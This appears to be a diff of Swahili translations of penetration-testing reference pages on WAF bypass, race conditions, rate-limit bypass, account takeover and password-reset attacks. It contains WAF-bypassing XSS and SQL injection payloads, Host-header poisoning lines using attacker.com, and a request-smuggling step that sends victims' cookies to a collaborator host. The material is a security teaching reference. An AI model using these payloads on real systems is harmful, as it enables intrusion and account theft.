Katika chapisho hilo, bypasses za mwisho zifuatazo zinapendekezwa:
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
Pia inatajwa kwamba kulingana na **jinsi baadhi ya WAFs zinavyoelewa muktadha** wa ingizo la mtumiaji, inaweza kuwa inawezekana kuikandamiza. Mfano ulioanzishwa katika blog ni kwamba Akamai iliruhusu kuweka chochote kati ya `/*` na `*/` (labda kwa sababu hii hutumiwa mara nyingi kama maoni). Hivyo basi, SQLinjection kama `/*'or sleep(5)-- -*/` haitakamatwa na itakuwa halali kwani `/*` ni mfuatano wa mwanzo wa kuingilia na `*/` imewekwa kama maoni.
Pia inatajwa kwamba kulingana na **jinsi baadhi ya WAFs zinavyoelewa muktadha** wa ingizo la mtumiaji, inaweza kuwa inawezekana kutumia vibaya. Mfano ulioanzishwa katika blog ni kwamba Akamai iliruhusu kuweka chochote kati ya `/*` na `*/` (labda kwa sababu hii hutumiwa mara nyingi kama maoni). Hivyo basi, SQLinjection kama `/*'or sleep(5)-- -*/` haitakamatwa na itakuwa halali kwani `/*` ni mfuatano wa mwanzo wa injection na `*/` imewekwa kama maoni.
Aina hizi za matatizo ya muktadha zinaweza pia kutumika **kudhulumu udhaifu mwingine zaidi ya ule unaotarajiwa** kutumika na WAF (kwa mfano, hii inaweza pia kutumika kudhulumu XSS).
Aina hizi za matatizo ya muktadha zinaweza pia kutumika **kuitumia vibaya udhaifu mwingine zaidi ya ule unaotarajiwa** kutumiwa na WAF (kwa mfano, hii inaweza pia kutumika kutekeleza XSS).
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
@ -201,7 +201,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
```
## Tools
- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin ya Burp kuongeza data za takataka kwenye maombi ili kupita WAFs kwa urefu
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin kuongeza data za kijinga kwenye maombi ili kupita WAFs kwa urefu
## References

View File

@ -7,27 +7,27 @@
## Kuimarisha Mashambulizi ya Race Condition
Kikwazo kikuu katika kuchukua faida ya race conditions ni kuhakikisha kwamba maombi mengi yanashughulikiwa kwa wakati mmoja, kwa **tofauti ndogo sana katika nyakati zao za usindikaji—kwa kawaida, chini ya 1ms**.
Kikwazo kikuu katika kunufaika na race conditions ni kuhakikisha kwamba maombi mengi yanashughulikiwa kwa wakati mmoja, kwa **tofauti ndogo sana katika nyakati zao za usindikaji—kwa kiwango bora, chini ya 1ms**.
Hapa unaweza kupata mbinu za Kuisawazisha Maombi:
#### HTTP/2 Shambulizi la Pakiti Moja dhidi ya HTTP/1.1 Usawazishaji wa Byte ya Mwisho
#### HTTP/2 Shambulizi la Pakiti Moja dhidi ya HTTP/1.1 Usawazishaji wa Byte wa Mwisho
- **HTTP/2**: Inasaidia kutuma maombi mawili kupitia muunganisho mmoja wa TCP, kupunguza athari za jitter za mtandao. Hata hivyo, kutokana na tofauti za upande wa seva, maombi mawili yanaweza kutotosha kwa matumizi ya kudumu ya race condition.
- **HTTP/1.1 'Usawazishaji wa Byte ya Mwisho'**: Inaruhusu kutuma sehemu nyingi za maombi 20-30 kabla, ikizuia kipande kidogo, ambacho kitatumwa pamoja, kufikia kuwasili kwa wakati mmoja kwenye seva.
- **HTTP/2**: Inasaidia kutuma maombi mawili kupitia muunganisho mmoja wa TCP, kupunguza athari za jitter ya mtandao. Hata hivyo, kutokana na tofauti za upande wa seva, maombi mawili yanaweza kutotosha kwa matumizi ya kudumu ya exploit ya race condition.
- **HTTP/1.1 'Usawazishaji wa Byte wa Mwisho'**: Inaruhusu kutuma sehemu nyingi za maombi 20-30 kabla, ikizuia kipande kidogo, ambacho kitatumwa pamoja, kufikia kuwasili kwa wakati mmoja kwenye seva.
**Maandalizi ya Usawazishaji wa Byte ya Mwisho** yanajumuisha:
**Maandalizi ya Usawazishaji wa Byte wa Mwisho** yanajumuisha:
1. Kutuma vichwa na data ya mwili bila byte ya mwisho bila kumaliza mtiririko.
2. Kusimamisha kwa 100ms baada ya kutuma awali.
3. Kuzima TCP_NODELAY ili kutumia algorithimu ya Nagle kwa kuunganisha fremu za mwisho.
3. Kuzima TCP_NODELAY ili kutumia algorithm ya Nagle kwa kuunganisha fremu za mwisho.
4. Kupiga simu ili kuimarisha muunganisho.
Kutuma fremu zilizoshikiliwa kunapaswa kusababisha kuwasili kwao katika pakiti moja, inayoweza kuthibitishwa kupitia Wireshark. Mbinu hii haitumiki kwa faili za statiki, ambazo kawaida hazihusiki katika mashambulizi ya RC.
### Kurekebisha kwa Mifumo ya Seva
Kuelewa usanifu wa lengo ni muhimu. Seva za mbele zinaweza kuelekeza maombi tofauti, zikihusisha muda. Kuimarisha muunganisho wa upande wa seva, kupitia maombi yasiyo na maana, kunaweza kurekebisha muda wa maombi.
Kuelewa usanifu wa lengo ni muhimu. Seva za mbele zinaweza kuelekeza maombi tofauti, zikihusisha muda. Kuimarisha muunganisho wa upande wa seva, kupitia maombi yasiyo na maana, kunaweza kuleta kawaida katika muda wa maombi.
#### Kushughulikia Kufunga Kulingana na Kikao
@ -86,12 +86,12 @@ engine.openGate(currentAttempt)
- Inapatikana pia katika **Repeater** kupitia chaguo jipya la '**Send group in parallel**' katika Burp Suite.
- Kwa **limit-overrun** unaweza kuongeza **ombio sawa mara 50** katika kundi.
- Kwa **connection warming**, unaweza **kuongeza** mwanzoni mwa **kundi** baadhi ya **ombio** kwa sehemu zisizo za kudumu za seva ya wavuti.
- Kwa **delaying** mchakato **kati** ya processing **ombio moja na nyingine** katika hatua 2 za substate, unaweza **kuongeza ombio za ziada kati** ya ombio hizo mbili.
- Kwa **multi-endpoint** RC unaweza kuanza kutuma **ombio** inayokwenda kwenye hali ya siri na kisha **ombio 50** mara tu baada yake ambayo **inatumia hali ya siri**.
- Kwa **delaying** mchakato **kati** ya processing **ombio moja na nyingine** katika hatua 2 za substates, unaweza **kuongeza ombio za ziada kati** ya ombio hizo mbili.
- Kwa **multi-endpoint** RC unaweza kuanza kutuma **ombio** ambayo **inaenda kwenye hali ya siri** na kisha **ombio 50** mara tu baada yake ambayo **inatumia hali ya siri**.
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: Lengo la script hii ni kubadilisha barua pepe ya mtumiaji huku ikithibitisha mara kwa mara hadi token ya uthibitisho ya barua pepe mpya ifike kwa barua pepe ya zamani (hii ni kwa sababu katika msimbo ilikuwa inaona RC ambapo ilikuwa inawezekana kubadilisha barua pepe lakini uthibitisho ukatumwa kwa ile ya zamani kwa sababu ya variable inayonyesha barua pepe ilikuwa tayari imejaa na ile ya kwanza).\
- **Automated python script**: Lengo la script hii ni kubadilisha barua pepe ya mtumiaji huku ikithibitisha mara kwa mara hadi token ya uthibitisho ya barua pepe mpya ifike kwa barua pepe ya mwisho (hii ni kwa sababu katika msimbo ilikuwa inaonekana RC ambapo ilikuwa inawezekana kubadilisha barua pepe lakini uthibitisho ukatumwa kwa ile ya zamani kwa sababu ya variable inayonyesha barua pepe ilikuwa tayari imejaa na ile ya kwanza).\
Wakati neno "objetivo" linapatikana katika barua pepe zilizopokelewa tunajua tumepokea token ya uthibitisho ya barua pepe iliyobadilishwa na tunamaliza shambulio.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
@ -219,9 +219,9 @@ response = requests.get(url, verify=False)
```
### Kuboresha Shambulio la Pakiti Moja
Katika utafiti wa awali, imeelezwa kuwa shambulio hili lina kikomo cha 1,500 bytes. Hata hivyo, katika [**post hii**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), imeelezwa jinsi inavyowezekana kupanua kikomo cha 1,500-byte cha shambulio la pakiti moja hadi **65,535 B window limitation ya TCP kwa kutumia upasuwaji wa tabaka la IP** (kugawanya pakiti moja kuwa pakiti nyingi za IP) na kuzituma kwa mpangilio tofauti, ambayo iliruhusu kuzuia kuunganishwa tena kwa pakiti hadi vipande vyote vifikie seva. Mbinu hii iliruhusu mtafiti kutuma maombi 10,000 ndani ya takriban 166ms.&#x20;
Katika utafiti wa awali, imeelezwa kwamba shambulio hili lina kikomo cha 1,500 bytes. Hata hivyo, katika [**hiki kipande**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), imeelezwa jinsi inavyowezekana kupanua kikomo cha 1,500-byte cha shambulio la pakiti moja hadi **65,535 B kikomo cha dirisha cha TCP kwa kutumia upasuwaji wa tabaka la IP** (kugawanya pakiti moja kuwa pakiti nyingi za IP) na kuzituma kwa mpangilio tofauti, kumekuwa na uwezo wa kuzuia kuunganishwa tena kwa pakiti hadi vipande vyote vifikie seva. Mbinu hii ilimwezesha mtafiti kutuma maombi 10,000 ndani ya takriban 166ms.&#x20;
Kumbuka kwamba ingawa kuboresha hii kunafanya shambulio kuwa na uaminifu zaidi katika RC inayohitaji pakiti mia/hazina kufika kwa wakati mmoja, inaweza pia kuwa na vikwazo fulani vya programu. Seva maarufu za HTTP kama Apache, Nginx na Go zina mipangilio ya `SETTINGS_MAX_CONCURRENT_STREAMS` ya 100, 128 na 250. Hata hivyo, zingine kama NodeJS na nghttp2 zina mipangilio isiyo na kikomo.\
Kumbuka kwamba ingawa kuboresha hii kunafanya shambulio kuwa na uaminifu zaidi katika RC inayohitaji pakiti mamia/elfu kufika kwa wakati mmoja, inaweza pia kuwa na baadhi ya vikwazo vya programu. Seva maarufu za HTTP kama Apache, Nginx na Go zina mipangilio ya `SETTINGS_MAX_CONCURRENT_STREAMS` ya 100, 128 na 250. Hata hivyo, zingine kama NodeJS na nghttp2 zina mipangilio isiyo na kikomo.\
Hii inamaanisha kwamba Apache itazingatia tu muunganisho 100 wa HTTP kutoka kwa muunganisho mmoja wa TCP (ikizuia shambulio hili la RC).
Unaweza kupata mifano kadhaa ukitumia mbinu hii katika repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
@ -295,17 +295,17 @@ Kuna tofauti nyingi za aina hii ya shambulio, ikiwa ni pamoja na:
### **Hidden substates**
Kuchochea hali ngumu za mbio mara nyingi kunahusisha kutumia fursa za muda mfupi kuingiliana na hali za mashine zilizofichwa au **zisizokusudiwa**. Hapa kuna jinsi ya kukabiliana na hili:
Kuchochea hali ngumu za mbio mara nyingi kunahusisha kutumia fursa za muda mfupi kuingiliana na **substates za mashine zisizoonekana au zisizokusudiwa**. Hapa kuna jinsi ya kukabiliana na hili:
1. **Tambua Hali za Fichwa Zinazoweza**
- Anza kwa kubaini maeneo ambayo yanabadilisha au kuingiliana na data muhimu, kama vile profaili za watumiaji au michakato ya kurekebisha nywila. Lenga kwenye:
- **Hifadhi**: Prefer maeneo yanayoshughulikia data ya kudumu upande wa seva kuliko yale yanayoshughulikia data upande wa mteja.
- **Kitendo**: Tafuta operesheni zinazobadilisha data iliyopo, ambazo zina uwezekano mkubwa wa kuunda hali zinazoweza kutumiwa ikilinganishwa na zile zinazoongeza data mpya.
- **Keying**: Shambulio lililofanikiwa mara nyingi linahusisha operesheni zilizofungamanishwa na kitambulisho sawa, e.g., jina la mtumiaji au token ya kurekebisha.
1. **Tambua Substates Zilizofichwa**
- Anza kwa kubaini mwisho ambao hubadilisha au kuingiliana na data muhimu, kama vile profaili za watumiaji au michakato ya kurekebisha nywila. Lenga kwenye:
- **Hifadhi**: Prefer mwisho ambao hubadilisha data ya kudumu upande wa seva kuliko wale wanaoshughulikia data upande wa mteja.
- **Kitendo**: Tafuta operesheni zinazobadilisha data iliyopo, ambazo zina uwezekano mkubwa wa kuunda hali zinazoweza kutumika ikilinganishwa na zile zinazoongeza data mpya.
- **Keying**: Shambulio lililofanikiwa mara nyingi linahusisha operesheni zilizofungamanishwa na kitambulisho kimoja, e.g., jina la mtumiaji au token ya kurekebisha.
2. **Fanya Uchunguzi wa Awali**
- Jaribu maeneo yaliyobainishwa kwa shambulio la hali ya mbio, ukitazama kwa mabadiliko yoyote kutoka kwa matokeo yanayotarajiwa. Majibu yasiyotarajiwa au mabadiliko katika tabia ya programu yanaweza kuashiria **vulnerability**.
- Jaribu mwisho ulioainishwa kwa shambulio la hali ya mbio, ukitazama kwa mabadiliko yoyote kutoka kwa matokeo yanayotarajiwa. Majibu yasiyotarajiwa au mabadiliko katika tabia ya programu yanaweza kuashiria **vulnerability**.
3. **Onyesha Vulnerability**
- Punguza shambulio hadi idadi ndogo ya maombi yanayohitajika kutumia **vulnerability**, mara nyingi ni mawili tu. Hatua hii inaweza kuhitaji majaribio mengi au automatisering kutokana na muda sahihi unaohitajika.
- Punguza shambulio hadi idadi ndogo ya maombi yanayohitajika ili kutumia **vulnerability**, mara nyingi ni mawili tu. Hatua hii inaweza kuhitaji majaribio mengi au automatisering kutokana na muda sahihi unaohusika.
### Time Sensitive Attacks
@ -319,9 +319,9 @@ Usahihi katika kuomba maombi unaweza kufichua **vulnerabilities**, hasa wakati m
- Omba token mbili za kurekebisha nywila kwa wakati mmoja na uzilinganishe. Token zinazolingana zinaonyesha kasoro katika uzalishaji wa token.
**Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **kujaribu hili.**
**Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **kujaribu hii.**
## Masomo ya kesi za hali za Fichwa
## Hidden substates case studies
### Pay & add an Item
@ -329,21 +329,21 @@ Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/logic-fla
### Confirm other emails
Wazo ni **kuhakiki anwani ya barua pepe na kuibadilisha kuwa nyingine kwa wakati mmoja** ili kugundua ikiwa jukwaa linathibitisha ile mpya iliyobadilishwa.
Wazo ni **kuhakiki anwani ya barua pepe na kuibadilisha na nyingine kwa wakati mmoja** ili kugundua ikiwa jukwaa linathibitisha ile mpya iliyobadilishwa.
### Change email to 2 emails addresses Cookie based
Kulingana na [**utafiti huu**](https://portswigger.net/research/smashing-the-state-machine) Gitlab ilikuwa na **vulnerability** ya kuchukuliwa kwa njia hii kwa sababu inaweza **kutuma** **token ya uthibitisho wa barua pepe ya barua pepe moja kwa barua pepe nyingine**.
**Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **kujaribu hili.**
**Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **kujaribu hii.**
### Hidden Database states / Confirmation Bypass
Ikiwa **kuandika tofauti mbili** zinatumika ku **ongeza** **habari** ndani ya **database**, kuna sehemu ndogo ya muda ambapo **data ya kwanza tu imeandikwa** ndani ya database. Kwa mfano, wakati wa kuunda mtumiaji **jina la mtumiaji** na **nywila** vinaweza ku **andikwa** na **kisha token** ya kuthibitisha akaunti mpya iliyoundwa inaandikwa. Hii inamaanisha kwamba kwa muda mfupi **token ya kuthibitisha akaunti ni null**.
Ikiwa **kuandika tofauti 2** zinatumika ku **ongeza** **habari** ndani ya **database**, kuna sehemu ndogo ya muda ambapo **data ya kwanza tu imeandikwa** ndani ya database. Kwa mfano, wakati wa kuunda mtumiaji **jina la mtumiaji** na **nywila** vinaweza ku **andikwa** na **kisha token** ya kuthibitisha akaunti mpya iliyoundwa inaandikwa. Hii ina maana kwamba kwa muda mfupi **token ya kuthibitisha akaunti ni null**.
Kwa hivyo **kujiandikisha akaunti na kutuma maombi kadhaa na token tupu** (`token=` au `token[]=` au toleo lolote lingine) ili kuthibitisha akaunti mara moja kunaweza kuruhusu **kuhakiki akaunti** ambayo hujatumia barua pepe.
Kwa hivyo **kujiandikisha akaunti na kutuma maombi kadhaa na token tupu** (`token=` au `token[]=` au toleo lolote jingine) ili kuthibitisha akaunti mara moja kunaweza kuruhusu **kuhakiki akaunti** ambayo hujatumia barua pepe.
**Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **kujaribu hili.**
**Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **kujaribu hii.**
### Bypass 2FA
@ -357,16 +357,16 @@ session['enforce_mfa'] = True
```
### OAuth2 kudumu milele
Kuna watoa huduma kadhaa [**OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Huduma hizi zitakuruhusu kuunda programu na kuthibitisha watumiaji ambao mtoa huduma amesajili. Ili kufanya hivyo, **mteja** atahitaji **kuruhusu programu yako** kufikia baadhi ya data zao ndani ya **mtoa huduma wa OAUth**.\
Kuna huduma kadhaa za [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Huduma hizi zitakuruhusu kuunda programu na kuthibitisha watumiaji ambao mtoa huduma amesajili. Ili kufanya hivyo, **mteja** atahitaji **kuruhusu programu yako** kufikia baadhi ya data zao ndani ya **OAUth provider**.\
Hivyo, hadi hapa ni kuingia kwa kawaida na google/linkedin/github... ambapo unapata ukurasa ukisema: "_Programu \<InsertCoolName> inataka kufikia taarifa zako, je, unataka kuiruhusu?_"
#### Hali ya Mbio katika `authorization_code`
**Tatizo** linaonekana unapokubali na moja kwa moja kutuma **`authorization_code`** kwa programu mbaya. Kisha, programu hii **inatumia Hali ya Mbio katika mtoa huduma wa OAUth ili kuzalisha zaidi ya AT/RT moja** (_Authentication Token/Refresh Token_) kutoka kwa **`authorization_code`** kwa akaunti yako. Kimsingi, itatumia ukweli kwamba umekubali programu kufikia data zako ili **kuunda akaunti kadhaa**. Kisha, ikiwa **utakoma kuruhusu programu kufikia data zako, jozi moja ya AT/RT itafutwa, lakini zingine zitabaki kuwa halali**.
**Tatizo** linaonekana unapokubali na moja kwa moja kutuma **`authorization_code`** kwa programu mbaya. Kisha, programu hii **inatumia Hali ya Mbio katika mtoa huduma wa OAUth ili kuunda zaidi ya moja AT/RT** (_Authentication Token/Refresh Token_) kutoka kwa **`authorization_code`** kwa akaunti yako. Kimsingi, itatumia ukweli kwamba umekubali programu kufikia data zako ili **kuunda akaunti kadhaa**. Kisha, ikiwa **utakoma kuruhusu programu kufikia data zako, jozi moja ya AT/RT itafutwa, lakini zingine zitabaki kuwa halali**.
#### Hali ya Mbio katika `Refresh Token`
Mara tu unapokuwa **umepata RT halali** unaweza kujaribu **kuitumia kuzalisha AT/RT kadhaa** na **hata kama mtumiaji anafuta ruhusa** kwa programu mbaya kufikia data zake, **RT kadhaa bado zitakuwa halali.**
Mara tu unapokuwa **umepata RT halali** unaweza kujaribu **kuitumia kuunda AT/RT kadhaa** na **hata kama mtumiaji anafuta ruhusa** kwa programu mbaya kufikia data zake, **RT kadhaa bado zitakuwa halali.**
## **RC katika WebSockets**

View File

@ -6,7 +6,7 @@
### Exploring Similar Endpoints
Majaribio yanapaswa kufanywa kufanya mashambulizi ya nguvu ya kikatili kwenye tofauti za mwisho zilizokusudiwa, kama vile `/api/v3/sign-up`, ikiwa ni pamoja na mbadala kama `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` n.k.
Jaribio zinapaswa kufanywa kufanya mashambulizi ya nguvu ya kikatili kwenye tofauti za mwisho zilizokusudiwa, kama vile `/api/v3/sign-up`, ikiwa ni pamoja na mbadala kama `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` n.k.
### Incorporating Blank Characters in Code or Parameters
@ -50,6 +50,6 @@ Ikiwa mfumo wa lengo unatekeleza mipaka ya kiwango kwa msingi wa akaunti au sesh
### Endelea Kujaribu
Kumbuka kwamba hata kama ukomo wa kiwango upo, unapaswa kujaribu kuona kama jibu ni tofauti wakati OTP halali inatumwa. Katika [**post hii**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), mv hunting aligundua kwamba hata kama ukomo wa kiwango unachochewa baada ya majaribio 20 yasiyofanikiwa kwa kujibu na 401, ikiwa moja halali ilitumwa jibu la 200 lilipokelewa.
Kumbuka kwamba hata kama ukomo wa kiwango upo unapaswa kujaribu kuona kama jibu ni tofauti wakati OTP halali inatumwa. Katika [**post hii**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), mv hunting aligundua kwamba hata kama ukomo wa kiwango unachochewa baada ya majaribio 20 yasiyofanikiwa kwa kujibu na 401, ikiwa moja halali ilitumwa jibu la 200 lilipokelewa.
{{#include ../banners/hacktricks-training.md}}

View File

@ -16,7 +16,7 @@
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### Uainishaji wa Jina la Mtumiaji
### Uhesabuji wa Jina la Mtumiaji
Angalia kama unaweza kubaini wakati jina la mtumiaji tayari limeregisteriwa ndani ya programu.
@ -52,26 +52,26 @@ Wakati wa usajili jaribu kubadilisha barua pepe na angalia kama mabadiliko haya
- **Angalia mipaka ya viwango kwenye uundaji wa akaunti**
- Tumia username@**burp_collab**.net na uchambue **callback**
## **Ukatili wa Kurejesha Nywila**
## **Ukatili wa Kurekebisha Nywila**
### Kuvuja kwa Tokeni ya Kurejesha Nywila Kupitia Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
### Kuvuja kwa Tokeni ya Kurekebisha Nywila Kupitia Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Omba kurejesha nywila kwa anwani yako ya barua pepe
2. Bonyeza kwenye kiungo cha kurejesha nywila
1. Omba kurekebisha nywila kwa anwani yako ya barua pepe
2. Bonyeza kwenye kiungo cha kurekebisha nywila
3. Usibadilishe nywila
4. Bonyeza tovuti zozote za upande wa tatu (mfano: Facebook, twitter)
5. Kamatia ombi katika Burp Suite proxy
6. Angalia kama kichwa cha referer kinavuja tokeni ya kurejesha nywila.
6. Angalia kama kichwa cha referer kinavuja tokeni ya kurekebisha nywila.
### Ukatili wa Kurejesha Nywila kwa Msumeno <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
### Ukatili wa Kurekebisha Nywila kwa Msumeno <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Kamatia ombi la kurejesha nywila katika Burp Suite
1. Kamatia ombi la kurekebisha nywila katika Burp Suite
2. Ongeza au hariri vichwa vifuatavyo katika Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Peleka ombi na kichwa kilichobadilishwa\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Tafuta URL ya kurejesha nywila kulingana na _kichwa cha host_ kama: `https://attacker.com/reset-password.php?token=TOKEN`
4. Tafuta URL ya kurekebisha nywila kulingana na _kichwa cha host_ kama: `https://attacker.com/reset-password.php?token=TOKEN`
### Kurejesha Nywila Kupitia Parameta ya Barua Pepe <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
### Kurekebisha Nywila Kupitia Kigezo cha Barua Pepe <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -105,17 +105,17 @@ Jaribu kubaini kama token inakoma au ikiwa kila wakati ni ile ile, katika baadhi
- Barua pepe ya Mtumiaji
- Jina la Kwanza na Jina la Mwisho
- Tarehe ya Kuzaliwa
- Cryptography
- Usalama wa Habari
- Nambari pekee
- Mfululizo mdogo wa token (herufi kati ya \[A-Z,a-z,0-9])
- Tumia tena token
- Mfuatano mdogo wa token (herufi kati ya \[A-Z,a-z,0-9])
- Matumizi ya token tena
- Tarehe ya kumalizika kwa token
### Kuonyesha Token ya Kurekebisha Nenosiri <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
### Kuvuja kwa Token ya Kurekebisha Nenosiri <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Trigger ombi la kurekebisha nenosiri kwa kutumia API/UI kwa barua pepe maalum e.g: test@mail.com
2. Kagua jibu la seva na angalia `resetToken`
3. Kisha tumia token katika URL kama `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
2. Kagua jibu la seva na angalia kwa `resetToken`
3. Kisha tumia token hiyo katika URL kama `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Kurekebisha Nenosiri Kupitia Mkutano wa Jina la Mtumiaji <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
@ -127,15 +127,15 @@ Jaribu kubaini kama token inakoma au ikiwa kila wakati ni ile ile, katika baadhi
Jukwaa la CTFd lilikuwa na udhaifu kwa shambulio hili.\
Tazama: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Kuchukua Akaunti Kupitia Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
### Kuchukua Akaunti Kupitia Uandishi wa Msalaba <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Pata XSS ndani ya programu au subdomain ikiwa vidakuzi vimewekwa kwenye kikoa cha domain ya mzazi: `*.domain.com`
2. Onyesha **vidakuzi vya vikao** vya sasa
3. Thibitisha kama mtumiaji kwa kutumia cookie
2. Kuvuja **vidakuzi vya sasa vya sessions**
3. Thibitisha kama mtumiaji kwa kutumia kidakuzi
### Kuchukua Akaunti Kupitia HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
### Kuchukua Akaunti Kupitia Uhamasishaji wa Ombi la HTTP <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Tumia **smuggler** kugundua aina ya HTTP Request Smuggling (CL, TE, CL.TE)\
1\. Tumia **smuggler** kugundua aina ya Uhamasishaji wa Ombi la HTTP (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Tengeneza ombi ambalo litabadilisha `POST / HTTP/1.1` na data ifuatayo:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` kwa lengo la kufungua kuhamasisha waathirika kwa burpcollab na kuiba vidakuzi vyao\

View File

@ -12,7 +12,7 @@
## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>
Mifumo ya regular expression mbaya ni ile ambayo inaweza **kushikilia kwenye ingizo lililotengenezwa na kusababisha DoS**. Mifumo ya regex mbaya kwa kawaida ina makundi yenye kurudiwa na kurudiwa au mbadala zikiwa na kuingiliana ndani ya kundi lililorejelewa. Baadhi ya mifano ya mifumo mbaya ni:
Mifumo ya regular expression mbaya ni ile inayoweza **kushikilia kwenye ingizo lililotengenezwa na kusababisha DoS**. Mifumo ya regex mbaya kwa kawaida ina kundi lenye kurudiwa na kurudiwa au mbadala na kuingiliana ndani ya kundi lililorejelewa. Baadhi ya mifano ya mifumo mbaya ni:
- (a+)+
- ([a-zA-Z]+)\*

View File

@ -17,7 +17,7 @@
- Washambuliaji wanaweza kubadilisha header ya Host wakati wa maombi ya kurekebisha nenosiri ili kuelekeza kiungo cha kurekebisha kwenye tovuti mbaya.
- **Impact**: Inasababisha uwezekano wa kuchukua akaunti kwa kuvuja token za kurekebisha kwa washambuliaji.
- **Mitigation Steps**:
- Thibitisha header ya Host dhidi ya orodha ya maeneo yaliyoruhusiwa.
- Thibitisha header ya Host dhidi ya orodha ya domain zilizoruhusiwa.
- Tumia mbinu salama, za upande wa seva ili kuunda URLs kamili.
- **Patch**: Tumia `$_SERVER['SERVER_NAME']` kuunda URLs za kurekebisha nenosiri badala ya `$_SERVER['HTTP_HOST']`.
- **References**:
@ -25,7 +25,7 @@
## **Password Reset By Manipulating Email Parameter**
Washambuliaji wanaweza kubadilisha ombi la kurekebisha nenosiri kwa kuongeza vigezo vya ziada vya barua pepe ili kuhamasisha kiungo cha kurekebisha.
Washambuliaji wanaweza kubadilisha ombi la kurekebisha nenosiri kwa kuongeza vigezo vya barua pepe vya ziada ili kuhamasisha kiungo cha kurekebisha.
- Ongeza barua pepe ya mshambuliaji kama parameter ya pili kwa kutumia &
```php
@ -70,7 +70,7 @@ POST /resetPassword
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **Hatua za Kupunguza**:
- Pitia na kuthibitisha vigezo vya barua pepe upande wa seva.
- Pitia na kuthibitisha ipasavyo vigezo vya barua pepe upande wa seva.
- Tumia taarifa zilizopangwa au maswali yenye vigezo ili kuzuia mashambulizi ya kuingiza.
- **Marejeleo**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
@ -87,13 +87,13 @@ POST /api/changepass
```
- **Hatua za Kupunguza**:
- Hakikisha uthibitisho mkali wa vigezo na ukaguzi wa uthibitisho.
- Tekeleza ufuatiliaji na kumbukumbu thabiti ili kugundua na kujibu shughuli za kushuku.
